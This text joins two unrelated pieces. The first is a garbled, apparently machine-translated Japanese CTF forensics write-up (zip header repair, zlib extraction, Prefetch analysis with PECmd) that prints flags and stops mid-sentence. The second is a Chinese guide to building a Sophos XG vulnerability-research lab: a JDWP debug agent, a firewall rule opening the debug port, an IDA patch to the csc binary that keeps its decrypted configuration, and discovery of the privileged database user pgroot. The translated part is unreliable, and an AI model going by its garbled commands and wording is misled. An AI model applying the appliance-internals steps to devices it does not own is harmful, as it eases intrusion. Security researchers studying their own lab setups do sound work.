簡単に見ると、重要な情報「フラグ」は実際に私たちが考えているフラグであることがわかりましたが、このzipにはメインヘッドが欠けているようです。これは私たちが探した「504b0304」の始まりです。私たちがそれを知らないかどうかは関係ありません。比較として、通常の「zip」を使用することができます。通常の「zip」16進表現。在这里插入图片描述

通常の「zip」に最初に「504b0304」が実際に含まれていることを見るのは難しくありませんが、ここには存在しませんでした。それでは、それを直接保存して、正常に開くのが難しいかどうかを確認しましょう。 「010」で「新しいヘックスファイルを作成」し、貼り付けの段落全体を選択します。在这里插入图片描述

「zip」のメインコンテンツを選択し、右クリックしてコピーします。在这里插入图片描述

もちろん、ここの頭には「zip」が欠落しているため、後で挿入する必要がある場合に備えて、「zip」があります。

貼り付けて、フォーマットを保存するために「zip」を選択します。あなたがそれを見つけるのを防ぐために、保存場所に注意してください。在这里插入图片描述

最後に、「zip」を開くにはパスワードが必要です。次に、以前に抽出されたパスワードを入力して、「Pass:Stego0626」を開きます。在这里插入图片描述

右クリック「メモ帳」を選択して、分析のために空白のファイルを開くことができます。在这里插入图片描述

それは私たちが必要とする旗ではなかったことがわかったが、それは問題ではなかった。 「010」を選択して開き、分析して取得できます。在这里插入图片描述

この「フラグ」ブランクファイルのヘッダーは、「78 9C 4B CB」から始まることがわかりました。一般的に言えば、16進78 9C 4B CBで始まるファイルは、通常、ZLIB圧縮アルゴリズムを使用して圧縮されたファイルです。そのため、「Zlib」接尾辞を直接追加してから、「binwalk -e」を使用して分離し、最後にフラグを見つけてコマンドを使用できます。 binwalk -e flag.zlib - run-as=rootに正常に分離された在这里插入图片描述

分析のために分離されたファイルを開き、最終的にフラグを正常に取得します。在这里插入图片描述

この時点で;フラグ{81633464866E622D275C309B22CB907B}ここでの分離は唯一の方法ではありません。「cyberchef」を使用して「Zlib」をデコードし、フラグをデコードすることもできます。在这里插入图片描述

3。 PFファイル分析

在这里插入图片描述

問題を解決するための質問がたくさんあります。しかし、重要なポイントを見つけることができます。簡単に言えば、最も使用されているソフトウェア名を見つけて送信しましょう。したがって、ここでは、まず「PF」ファイルが何であるかを簡単に理解する必要があります。

PFファイル(Prefetchファイル)は、Windowsオペレーティングシステムのキャッシュファイルであり、アプリケーションの起動をスピードアップするために使用されます。 Windowsでアプリケーションを実行するたびに、システムはアプリケーションに関連付けられたPFファイルを作成または更新します。このファイルは、ロードされたDLL、ファイルパス、その他の情報など、プログラムを開始するために必要なリソースを記録します。主な機能:ストレージ場所:PFファイルは通常、C: \ Windows \ Prefetchディレクトリに保存され、ファイル名形式はプログラム名Hash Value.pfです。スタートアップのスピードアップ:PFファイルは、プログラムの起動に必要なリソースを記録します。これにより、次にプログラムが開始されると、オペレーティングシステムがこれらのリソースをより迅速にロードするのに役立ちます。フォレンジック分析:デジタルフォレンジックでは、PFファイルを使用してユーザーの動作を分析し、プログラムがいつ、どのように開始されるかを確認し、イベントのタイムラインの再構築を支援できます。クリーニングインパクト:PFファイルのクリーニングにより、アプリケーションが初めてゆっくりと起動する可能性がありますが、システムの全体的なパフォーマンスにはほとんど影響を与えません。概要:PFファイルは、プログラムのスタートアップパフォーマンスを最適化するためにWindows Systemsが使用するキャッシュファイルです。それらは特定のディレクトリに保存され、プログラムの開始時に作成または更新されます。デジタルフォレンジックの分野では、これらのドキュメントはユーザーの動作の分析にも役立ちます。 「PF」ファイルについてすでに学んだので、添付ファイルを直接ダウンロードして開き、パスワードが必要であることがわかりました。悲しいかな、それは最初は非常に奇妙でした。タイトルにパスワードはないと思っていたので、オーガナイザーはパスワードを提供しませんでした。それで、パスワードはオーガナイザーによって忘れられましたか?慎重に観察した後、ダウンロードされた添付ファイルは、いわゆる「ジップ」名であることがわかりました。 「base64」エンコードであるため、直接解読しました。また、パスワードが必要なことも成功しました。在这里插入图片描述

オンラインbase64デコードとデコード。在这里插入图片描述

zipパスワード:iampasswordは最終的に正常に減圧されました。それから私たちはそれを言った。 「プリフェッチ」を分析したい場合、分析にどのツールを使用する必要がありますか?これがマスターの要約です。 PECMD:使用法:PECMDは、Windows Prefetchファイルを解析および分析するために使用されるコマンドラインツールです。デジタルフォレンジック分析に非常に適した実行時間、パス、関連DLLなど、プリフェッチファイルに詳細情報を抽出できます。機能:バッチ処理をサポートし、CSVレポートを生成し、プリフェッチ形式の複数のWindowsバージョンを解析できます。 winprefetchView:使用:winprefetchViewは、プリフェッチファイルを表示および分析するためのシンプルなGUIツールです。プリフェッチディレクトリにファイルをすばやくリストし、プログラムの起動時間、最終実行時間など、各ファイルの詳細情報を表示できます。機能:フレンドリーなインターフェイス、シンプルな操作、プリフェッチファイルコンテンツの迅速な表示に適しています。これらの2つのツールは、プリフェッチファイルを分析する際に最も一般的に使用されており、単純な視聴から詳細なフォレンジック分析まで、さまざまなレベルのニーズに適しています。次に、最初に「PECMD」を使用して分析します。コマンドを使用します。 pecmd.exe -d d: \最新ダウンロード\ pecmd \ pretch -json output.txtコマンドを簡単に分析する。 PECMDツールを使用して、D: \最新ダウンロード\ PECMD \ PECMDディレクトリにあるプリフェッチファイルを解析し、出力結果をoutput.txtファイルにJSON形式のファイルに保存します。それを得る;在这里插入图片描述

最後に、現在のディレクトリで、作成した「出力」ファイルを見つけました。在这里插入图片描述

右クリックして「メモ帳」を選択して分析を開きます。

それを得る;在这里插入图片描述

この問題により、最も使用されているソフトウェアを見つけることができるため、最も使用されているソフトウェアのみを探します。次に、ここで「ランカウント」の英語翻訳は間違いなく実行されるため、「ランカウント」を見つけるには「ctrl+f」のみが必要であり、それをゆっくりと見てください。得る;在这里插入图片描述

しかし、私はそれが最も処刑されている人ではないことを発見しました。その後、38、71などがさらに多くあることがわかりました。また、最大の「82」をゆっくりと検索して確認しました。それを得る;在这里插入图片描述

この時点で; flag {searchfilterhost.exe}拡張「pecmd」を使用して「プリフェッチ」を分析しました。それは解析であり、検索するメモ帳を開きます。少し面倒ではありませんか?なぜ!確かにこれよりも簡単な方法があります。次のことについて説明するツール「winprefetchview」が抽出されてダウンロードされました。次に、ここからツール「winprefetchview」を開きます。在这里插入图片描述次に、「オプション」をクリックし、「[詳細なオプション」を選択し、[プリフェッチ]位置を変更し、最後に[確認]をクリックします。得る;在这里插入图片描述

実行数を簡単な順序で直接並べ替えて、この方法は実際に最初の方法よりもはるかに便利であり、見るのがより直感的で明確であることを知ることができます。

4。失われた情報

在这里插入图片描述

質問バラバラには多くの有用な質問があります。要約しましょう。簡単に言えば、顧客の携帯電話番号を取り出して、小文字MD5暗号化のために提出しましょう。次に、添付ファイルをダウンロードして、2つのファイルを取得します。在这里插入图片描述

「ディスク」ファイルと「.raw」ファイルとは何かの簡単な分析。 「ディスク」ファイルとは何ですか? 「ディスク」ファイルは通常、ストレージデバイスのミラーファイルを指します。これは、ハードディスク、パーティション、またはその他のストレージメディアの正確なコピーです。このファイルには、ファイルシステム、パーティションテーブル、ブートレコード、ディスクに保存されているすべてのファイルとフォルダーなど、ディスク上のすべてのデータが含まれています。目的:バックアップ、クローニングディスク、またはデータリカバリに一般的に使用されます。また、ディスクに保存されているデータを分析および再構築するためにディスクイメージを使用して、法的分析にも使用されます。形式:ディスクファイルは、img、iso、vmdk(仮想ディスクファイル)などのさまざまな形式で存在する場合があります。「.raw」ファイルとは何ですか?RAWファイルは通常、生ディスクイメージを指します。これは、ディスク上のすべての生データを含む非圧縮ミラー形式で、ディスクまたはパーティションバイトバイト全体を複製します。機能:非圧縮:RAWファイルには圧縮または変更されたデータが含まれておらず、最も元のディスク画像形式です。普遍性:シンプルで普遍的な形式により、RAWファイルは、さまざまなツールやオペレーティングシステムで認識および使用できます。目的:デジタルフォレンジック、データ回復、仮想化環境で広く使用されています。RAWファイルの分析は、削除されたファイルの回復、ファイルシステム構造の分析、その他の低レベルのデータ操作を実行するのに役立ちます。概要ディスクファイル:通常、ストレージデバイス全体のコピーであるディスクイメージファイルを指します。RAWファイル:ディスク上の生データを含む非圧縮ディスクイメージ形式であり、フォレンジック分析とデータの回復によく使用されます。繰り返しになりますが、それがどんな文書であるかを知っているので、それらをどのように分析しますか?もちろん、ディスクイメージファイル(「ディスク」ファイルまたは「.raw」ファイル)を分析する場合、以下は一般的に使用されるツールです。ボラティリティ2.6:目的:ボラティリティはメモリフォレンジック分析ツールです。主にメモリダンプ分析に使用されますが、ディスク画像のデータを分析するためにも使用できます。ディスクミラーリングと協力することにより、ボラティリティは、プロセス、ネットワーク接続、レジストリエントリなどのメモリ関連データを抽出および分析できます。機能:強力な機能は、詳細な分析と証拠のフォレンジック作業に適した複数のオペレーティングシステムのメモリ分析をサポートします。 Elcomsoft Forensic Disk Decryptor:目的:Elcomsoft Forensic Disk Decryptorは、暗号化されたディスクイメージファイルを解読するために特別に使用されます。 BitLocker、TrueCrypt、Veracrypt、およびその他の暗号化システムをサポートし、これらのミラーファイルからデータを抽出および分析するのに役立ちます。機能:暗号化されたディスクイメージに遭遇したときに使用するのに特に適した強力な復号化機能。

一般に、ボラティリティ2.6:はメモリフォレンジック分析に使用され、ディスク画像と組み合わせて高度なデータ抽出にも使用できます。 Elcomsoft Forensic Disk Decryptor:特別に使用

0x00 前言Sophos UTM和Sophos XG是兩款不同的產品,前者偏向於通用威脅管理,後者偏向於硬件防火牆。本文將要介紹Sophos XG漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云環境搭建

马云惹不起马云jetty調試環境搭建

马云惹不起马云csc配置文件解密

马云惹不起马云 Postgresql數據庫查詢

0x02 基礎知識架構如下圖

image.png

注:圖片引用自https://codewhitesec.blogspot.com/2020/07/sophos-xg-tale-of-unfortunate-re.html

總的來說,分為以下三部分:

马云惹不起马云 Jetty:處理Web數據,將數據轉發至csc作進一步處理

马云惹不起马云csc:主程序:加載Perl Packages,實現主要功能

马云惹不起马云Postgresql:用來存儲數據

我在實際研究過程中,這三部分遇到了以下問題:

马云惹不起马云Jetty:添加調試信息後無法啟動java

马云惹不起马云csc:csc加載Perl Packages後會自動刪除,無法獲得Perl Packages的實現細節

马云惹不起马云Postgresql:用戶權限低,無法查詢數據庫表

下面將要逐個介紹三個問題的解決方法。

0x03 環境搭建參考資料:

https://docs.sophos.com/nsg/sophos-firewall/18.5/Help/en-us/webhelp/onlinehelp/VirtualAndSoftwareAppliancesHelp/VMware/VMwareInstall/index.html

1.下載安裝包官方網站默認只提供最新版本的下載,但是可以通過猜測正確的版本號下載舊版本

例如18.5.3 Virtual Installers: Firewall OS for VMware:

https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.3_MR-3.VMW-408.zip

18.5.2 Virtual Installers: Firewall OS for VMware:

https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.2_MR-2.VMW-380.zip

2.導入VMware Workstation下載得到zip文件,解壓後運行sf_virtual.ovf

3.VMware Workstation網卡配置需要添加兩個網卡VMnet7和VMnet8,VMnet7設置為Host-only和172.16.16.0,VMnet8設置為NAT,具體方法如下:

(1)VMnet7

打開VMware Workstation,依次選擇Edit-Virtual Network Editor.

Add Network.-VMnet7

VMnet7設置為:

马云惹不起马云Type: Host-only

马云惹不起马云Subnet Address: 172.16.16.0

(2)VMnet8

VMnet8設置為:

马云惹不起马云Type: NAT

4.Sophos XG網卡配置Network Adapter設置為VMnet7

Network Adapter 2設置為VMnet8

Network Adapter 3設置為VMnet8

配置如下圖:

image.png

5.啟動Sophos XG默認登錄口令:admin

6.查看IP地址依次輸入1.Newwork Configuration-1.Interface Configuration

得到LAN的ip為172.16.16.16

7.進入Web配置頁面進行激活瀏覽器訪問https://172.16.16.16:4444

註冊頁面選擇:I don't have a serial number(start a trial)

按照提示進行註冊。

註冊成功後,重新訪問https://172.16.16.16:4444進行配置。

0x04 jetty調試環境搭建1.查看Java進程相關信息

執行命令:ps ww|grep java

輸出:

image.png

從輸出中得到Java版本為java-11-openjdk

2.定位配置文件配置文件路徑為/usr/bin/jetty,內容如下:

image.png

3.添加調試參數修改文件屬性:mount -o rw,remount /

在exec所在行添加調試參數:'-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000'

4.重啟服務執行命令:service tomcat:restart -ds nosync

查看服務狀態:service -S | grep tomcat

發現tomcat狀態為STOPPED

為了獲得詳細的報錯信息,直接運行/usr/bin/jetty

輸出:

image.png

發現是JDK的問題,這裡選擇替換一個完整的JDK。

5.替換JDK下載jdk-11.0.15_linux-x64_bin.tar.gz並上傳至Sophos XG

備份原文件夾:cp -r /lib/jvm/java-11-openjdk /lib/jvm/java-11-openjdk_backup

將jdk-11.0.15_linux-x64_bin.tar.gz解壓:tar zxvf /tmp/jdk-11.0.15_linux-x64_bin.tar.gz

替換/lib/jvm/java-11-openjdk:

image.png

6.再次重啟服務執行命令:service tomcat:restart -ds nosync

查看服務狀態:service -S | grep tomcat

發現tomcat狀態為RUNNING

確認參數被修改,執行命令:ps ww|grep java

輸出:

image.png

7.修改防火牆規則執行命令:iptables -I INPUT -p tcp --dport 8000 -j ACCEPT

8.使用IDEA遠程調試如下圖

image.png

在調試過程中,如果遇到無法下斷點的情況,重啟java服務即可:service tomcat:restart -ds nosync

0x05 csc配置文件解密查看csc進程相關信息。

執行命令:ps ww|grep csc

部分輸出:

image.png

csc進程讀取/_conf/cscconf.bin作為配置文件,而/_conf/cscconf.bin是一個加密的文件,所以這裡需要對/_conf/cscconf.bin進行解密。

這裡我採用的方法是通過IDA修改程序代碼,改變實現邏輯,導出解密後的配置文件。

使用IDA加載csc,查看main()函數的實現邏輯,部分代碼:

image.png

分析以上代碼,csc先調用extract_conf()函數導出配置,最後執行系統命令rm -rf /_conf/csc/csc /_conf/csc/csc.conf /_conf/csc/cscconf//_conf/csc/constants.conf /_conf/csc/cscconf.tar.gz /_conf/csc/global.conf /_conf/csc/cfsconf /_conf/csc/service /_conf/csc/bind_file_list刪除配置文件,導致我們無法直接獲得相關配置文件。

查看extract_conf()函數的實現代碼:

image.png

分析以上代碼,csc先調用sub_8052494()函數對/_conf/csc/cscconf.tar.gz進行解密,接著執行系統命令tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc將配置文件釋放到文件夾/_conf/csc

綜合以上分析,我們可以採取以下方式導出配置文件:修改csc程序,將釋放路徑/_conf/csc修改為另一路徑,例如/var/aaaaa,那麼,csc在刪除配置文件時,由於指定了固定的絕對路徑,導致無法刪除新的文件夾,這樣我們就能從中獲得完整的配置文件。

具體的實現方法如下:(1)修改csc使用IDA加載csc,查看Exports,找到extract_conf,雙擊進入IDA View,定位到字符串tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc,如下圖:

image.png

切換到Hex View,如下圖:

image.png

將/_conf/csc修改為/var/aaaaa,如下圖:

image.png

右鍵選擇Apply changes

依次選擇Edit-Patch program-Apply patches to input file.-OK,生成新的文件csc

(2)替換csc通過ssh登錄,上傳新的文件csc,保存至/tmp/csc

備份csc並進行替換,執行以下命令:

image.png

(3)確認配置文件是否導出成功等待系統重啟,進入底層shell,依次輸入5.Device Management-3.Advanced Shell

查看文件夾/var/aaaaa,如下圖:

image.png

配置文件導出成功。

(4)恢復csc image.png

(5)下載配置文件通過ssh登錄,下載文件夾/var/aaaaa中的內容。

0x06 Postgresql數據庫查詢查看端口信息,執行命令:netstat -tulpen |grep postgres

輸出:

image.png

通過搜索,發現以上三個數據庫的連接信息依次對應以下三個文件:

马云惹不起马云 /usr/share/webconsole/properties/ConnectionPool.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForReports.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForSignature.cfg

文件中的配置信息如下:

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5432/corporate?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5433/iviewdb?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5434/signature?user=pgrouserautoReconnect=true

測試命令1:

image.png

輸出:

image.png

提示沒有權限。

測試命令2:

image.png

能夠獲得用戶信息。

注:將用戶pgrouser換成nobody具體相同的權限。

從以上信息得知,用戶pgrouser和nobody都不是root用戶,功能受限,下面嘗試尋找root用戶。

對解密的csc配置文件進行檢測,定位到\service\postgres.csc,關鍵文件內容:

image.png

找到關鍵用戶pgroot

測試命令3:

image.png

執行成功。

0x07 小結本文介紹了在搭建Sophos XG調試環境過程中一些問題的解決方法。